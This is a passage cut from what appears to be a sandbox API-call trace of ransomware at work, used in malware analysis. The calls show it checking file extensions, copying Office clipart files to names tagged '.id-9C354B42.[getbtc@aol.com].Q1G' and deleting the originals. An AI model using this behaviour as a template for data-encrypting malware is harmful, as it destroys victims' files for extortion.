Office\\CLIPART\\PUB60COR\\J0107288.WMF") returned 63 [0258.792] lstrlenW (lpString=".doc") returned 4 [0258.792] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0258.792] lstrlenW (lpString=".docx") returned 5 [0258.792] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0258.792] lstrlenW (lpString=".pdf") returned 4 [0258.792] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0258.792] lstrlenW (lpString=".xls") returned 4 [0258.792] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0258.792] lstrlenW (lpString=".xlsx") returned 5 [0258.792] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0258.792] lstrlenW (lpString=".ppt") returned 4 [0258.792] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0258.792] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107288.WMF") returned 63 [0258.792] lstrlenW (lpString=".zip") returned 4 [0258.792] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0258.792] lstrlenW (lpString=".rar") returned 4 [0258.792] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0258.792] lstrlenW (lpString=".bz2") returned 4 [0258.792] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0258.792] lstrlenW (lpString=".7z") returned 3 [0258.793] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0258.793] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107288.WMF") returned 63 [0258.793] lstrlenW (lpString=".dbf") returned 4 [0258.793] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0258.793] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107288.WMF") returned 63 [0258.793] lstrlenW (lpString=".1cd") returned 4 [0258.793] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0258.793] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107288.WMF") returned 63 [0258.793] lstrlenW (lpString=".jpg") returned 4 [0258.793] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0258.793] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107288.WMF") returned 63 [0258.793] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107288.WMF") returned 63 [0258.793] lstrlenW (lpString=".doc") returned 4 [0258.793] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0258.793] lstrlenW (lpString=".docx") returned 5 [0258.793] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0258.793] lstrlenW (lpString=".pdf") returned 4 [0258.793] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0258.793] lstrlenW (lpString=".xls") returned 4 [0258.793] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0258.793] lstrlenW (lpString=".xlsx") returned 5 [0258.793] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0258.793] lstrlenW (lpString=".ppt") returned 4 [0258.793] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0258.793] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107288.WMF") returned 63 [0258.793] lstrlenW (lpString=".zip") returned 4 [0258.793] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0258.794] lstrlenW (lpString=".rar") returned 4 [0258.794] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0258.794] lstrlenW (lpString=".bz2") returned 4 [0258.794] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0258.794] lstrlenW (lpString=".7z") returned 3 [0258.794] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0258.794] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107288.WMF") returned 63 [0258.794] lstrlenW (lpString=".dbf") returned 4 [0258.794] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0258.794] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107288.WMF") returned 63 [0258.794] lstrlenW (lpString=".1cd") returned 4 [0258.794] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0258.794] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107288.WMF") returned 63 [0258.794] lstrlenW (lpString=".jpg") returned 4 [0258.794] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0258.794] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0258.794] lstrlenW (lpString="J0107300.WMF") returned 12 [0258.794] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107300.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107300.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0258.795] GetFileSizeEx (in: hFile=0x3a8, lpFileSize=0x319ff1c | out: lpFileSize=0x319ff1c*=2460) returned 1 [0258.795] CloseHandle (hObject=0x3a8) returned 1 [0258.795] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107300.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107300.wmf")) returned 0x20 [0258.795] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107300.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107300.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0258.795] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107300.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107300.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0258.795] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0258.795] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0258.795] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107300.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107300.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0258.796] GetLastError () returned 0x0 [0258.796] ReadFile (in: hFile=0x3a8, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x99c, lpOverlapped=0x0) returned 1 [0258.811] WriteFile (in: hFile=0x394, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0x9a0, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0x9a0, lpOverlapped=0x0) returned 1 [0258.812] ReadFile (in: hFile=0x3a8, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x0, lpOverlapped=0x0) returned 1 [0258.812] WriteFile (in: hFile=0x394, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0xec, lpOverlapped=0x0) returned 1 [0258.812] SetEndOfFile (hFile=0x394) returned 1 [0258.812] CloseHandle (hObject=0x394) returned 1 [0258.812] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0258.812] SetEndOfFile (hFile=0x3a8) returned 1 [0258.814] CloseHandle (hObject=0x3a8) returned 1 [0258.814] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107300.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0258.847] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107300.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107300.wmf")) returned 1 [0258.858] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107300.WMF") returned 63 [0258.858] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107300.WMF") returned 63 [0258.858] lstrlenW (lpString=".doc") returned 4 [0258.858] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0258.858] lstrlenW (lpString=".docx") returned 5 [0258.858] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0258.859] lstrlenW (lpString=".pdf") returned 4 [0258.859] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0258.859] lstrlenW (lpString=".xls") returned 4 [0258.859] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0258.859] lstrlenW (lpString=".xlsx") returned 5 [0258.859] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0258.859] lstrlenW (lpString=".ppt") returned 4 [0258.859] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0258.859] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107300.WMF") returned 63 [0258.859] lstrlenW (lpString=".zip") returned 4 [0258.859] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0258.859] lstrlenW (lpString=".rar") returned 4 [0258.859] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0258.859] lstrlenW (lpString=".bz2") returned 4 [0258.859] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0258.859] lstrlenW (lpString=".7z") returned 3 [0258.859] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0258.859] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107300.WMF") returned 63 [0258.859] lstrlenW (lpString=".dbf") returned 4 [0258.859] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0258.859] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107300.WMF") returned 63 [0258.859] lstrlenW (lpString=".1cd") returned 4 [0258.859] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0258.859] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107300.WMF") returned 63 [0258.859] lstrlenW (lpString=".jpg") returned 4 [0258.859] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0258.859] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107300.WMF") returned 63 [0258.859] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107300.WMF") returned 63 [0258.859] lstrlenW (lpString=".doc") returned 4 [0258.859] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0258.859] lstrlenW (lpString=".docx") returned 5 [0258.859] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0258.859] lstrlenW (lpString=".pdf") returned 4 [0258.859] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0258.860] lstrlenW (lpString=".xls") returned 4 [0258.860] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0258.860] lstrlenW (lpString=".xlsx") returned 5 [0258.860] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0258.860] lstrlenW (lpString=".ppt") returned 4 [0258.860] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0258.860] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107300.WMF") returned 63 [0258.860] lstrlenW (lpString=".zip") returned 4 [0258.860] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0258.860] lstrlenW (lpString=".rar") returned 4 [0258.860] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0258.860] lstrlenW (lpString=".bz2") returned 4 [0258.860] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0258.860] lstrlenW (lpString=".7z") returned 3 [0258.860] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0258.860] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107300.WMF") returned 63 [0258.860] lstrlenW (lpString=".dbf") returned 4 [0258.860] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0258.860] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107300.WMF") returned 63 [0258.860] lstrlenW (lpString=".1cd") returned 4 [0258.860] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0258.860] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107300.WMF") returned 63 [0258.860] lstrlenW (lpString=".jpg") returned 4 [0258.860] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0258.860] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0258.860] lstrlenW (lpString="J0107314.WMF") returned 12 [0258.860] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107314.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107314.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0258.867] GetFileSizeEx (in: hFile=0x3b0, lpFileSize=0x319ff1c | out: lpFileSize=0x319ff1c*=10852) returned 1 [0258.867] CloseHandle (hObject=0x3b0) returned 1 [0258.867] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107314.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107314.wmf")) returned 0x20 [0258.867] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107314.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107314.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0258.867] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107314.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107314.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0258.868] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0258.868] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0258.868] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107314.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107314.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0258.868] GetLastError () returned 0x0 [0258.868] ReadFile (in: hFile=0x3b0, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x2a64, lpOverlapped=0x0) returned 1 [0258.885] WriteFile (in: hFile=0x3b8, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0x2a70, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0x2a70, lpOverlapped=0x0) returned 1 [0258.886] ReadFile (in: hFile=0x3b0, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x0, lpOverlapped=0x0) returned 1 [0258.886] WriteFile (in: hFile=0x3b8, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0xec, lpOverlapped=0x0) returned 1 [0258.886] SetEndOfFile (hFile=0x3b8) returned 1 [0258.886] CloseHandle (hObject=0x3b8) returned 1 [0258.886] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0258.886] SetEndOfFile (hFile=0x3b0) returned 1 [0258.889] CloseHandle (hObject=0x3b0) returned 1 [0258.889] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107314.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0258.889] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107314.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107314.wmf")) returned 1 [0258.890] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107314.WMF") returned 63 [0258.890] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107314.WMF") returned 63 [0258.890] lstrlenW (lpString=".doc") returned 4 [0258.890] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0258.890] lstrlenW (lpString=".docx") returned 5 [0258.890] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0258.890] lstrlenW (lpString=".pdf") returned 4 [0258.890] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0258.890] lstrlenW (lpString=".xls") returned 4 [0258.890] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0258.890] lstrlenW (lpString=".xlsx") returned 5 [0258.890] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0258.890] lstrlenW (lpString=".ppt") returned 4 [0258.890] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0258.890] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107314.WMF") returned 63 [0258.890] lstrlenW (lpString=".zip") returned 4 [0258.890] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0258.890] lstrlenW (lpString=".rar") returned 4 [0258.890] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0258.890] lstrlenW (lpString=".bz2") returned 4 [0258.890] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0258.890] lstrlenW (lpString=".7z") returned 3 [0258.890] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0258.890] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107314.WMF") returned 63 [0258.890] lstrlenW (lpString=".dbf") returned 4 [0258.890] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0258.890] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107314.WMF") returned 63 [0258.890] lstrlenW (lpString=".1cd") returned 4 [0258.890] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0258.890] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107314.WMF") returned 63 [0258.890] lstrlenW (lpString=".jpg") returned 4 [0258.890] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0258.890] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107314.WMF") returned 63 [0258.890] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107314.WMF") returned 63 [0258.891] lstrlenW (lpString=".doc") returned 4 [0258.891] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0258.891] lstrlenW (lpString=".docx") returned 5 [0258.891] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0258.891] lstrlenW (lpString=".pdf") returned 4 [0258.891] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0258.891] lstrlenW (lpString=".xls") returned 4 [0258.891] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0258.891] lstrlenW (lpString=".xlsx") returned 5 [0258.891] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0258.891] lstrlenW (lpString=".ppt") returned 4 [0258.891] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0258.891] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107314.WMF") returned 63 [0258.891] lstrlenW (lpString=".zip") returned 4 [0258.891] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0258.891] lstrlenW (lpString=".rar") returned 4 [0258.891] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0258.891] lstrlenW (lpString=".bz2") returned 4 [0258.891] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0258.891] lstrlenW (lpString=".7z") returned 3 [0258.891] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0258.891] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107314.WMF") returned 63 [0258.891] lstrlenW (lpString=".dbf") returned 4 [0258.891] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0258.891] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107314.WMF") returned 63 [0258.891] lstrlenW (lpString=".1cd") returned 4 [0258.891] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0258.891] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107314.WMF") returned 63 [0258.891] lstrlenW (lpString=".jpg") returned 4 [0258.891] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0258.891] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0258.892] lstrlenW (lpString="J0107342.WMF") returned 12 [0258.892] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107342.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107342.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0258.901] GetFileSizeEx (in: hFile=0x3a8, lpFileSize=0x319ff1c | out: lpFileSize=0x319ff1c*=4244) returned 1 [0258.901] CloseHandle (hObject=0x3a8) returned 1 [0258.901] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107342.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107342.wmf")) returned 0x20 [0258.902] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107342.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107342.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0258.902] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107342.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107342.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0258.903] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0258.903] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0258.903] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107342.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107342.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0258.903] GetLastError () returned 0x0 [0258.903] ReadFile (in: hFile=0x3a8, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x1094, lpOverlapped=0x0) returned 1 [0258.905] WriteFile (in: hFile=0x388, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0x10a0, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0x10a0, lpOverlapped=0x0) returned 1 [0258.906] ReadFile (in: hFile=0x3a8, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x0, lpOverlapped=0x0) returned 1 [0258.906] WriteFile (in: hFile=0x388, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0xec, lpOverlapped=0x0) returned 1 [0258.906] SetEndOfFile (hFile=0x388) returned 1 [0258.906] CloseHandle (hObject=0x388) returned 1 [0258.906] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0258.906] SetEndOfFile (hFile=0x3a8) returned 1 [0258.908] CloseHandle (hObject=0x3a8) returned 1 [0258.908] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107342.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0258.908] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107342.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107342.wmf")) returned 1 [0258.909] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107342.WMF") returned 63 [0258.909] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107342.WMF") returned 63 [0258.909] lstrlenW (lpString=".doc") returned 4 [0258.909] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0258.909] lstrlenW (lpString=".docx") returned 5 [0258.909] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0258.909] lstrlenW (lpString=".pdf") returned 4 [0258.909] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0258.909] lstrlenW (lpString=".xls") returned 4 [0258.909] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0258.909] lstrlenW (lpString=".xlsx") returned 5 [0258.909] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0258.909] lstrlenW (lpString=".ppt") returned 4 [0258.909] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0258.909] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107342.WMF") returned 63 [0258.909] 